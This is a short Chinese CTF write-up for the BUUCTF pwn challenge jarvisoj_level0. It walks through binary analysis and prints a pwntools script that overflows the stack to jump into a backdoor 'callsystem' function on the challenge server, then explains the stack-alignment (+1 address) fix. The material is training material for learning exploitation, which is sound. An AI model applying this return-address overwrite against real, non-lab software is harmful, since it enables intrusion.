BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
吉吉6118 分钟前
文件包含之伪协议漏洞复现
web安全·网络安全
Bruce_Liuxiaowei30 分钟前
解决 PowerShell 模块加载无响应问题的实用指南——Invoke-Obfuscation为例
windows·网络安全·内网渗透
tangyal12 小时前
渗透笔记1
笔记·网络安全·渗透
吗喽15434518817 小时前
渗透高级第一次作业(笔记整理)
笔记·安全·网络安全
皓月盈江21 小时前
个人计算机Linux Debian桌面操作系统上网安全防护措施
linux·ubuntu·网络安全·debian·桌面操作系统·上网安全防护措施
QuantumRedGuestk1 天前
烂土豆提权技术详解ms16-075
网络安全·烂土豆提权·windows技术
Bruce_Liuxiaowei1 天前
基于Regsvr32.exe的渗透测试完整记录
网络·windows·安全·网络安全·内网渗透
内心如初1 天前
05_等保系列之安全工作规划
网络安全·等保测评·等保测评从0-1·等保测评笔记
肥硕之虎1 天前
从原理到实操:php://filter 伪协议玩转文件包含漏洞
开发语言·网络安全·php
诶. .1 天前
前四天总结
网络安全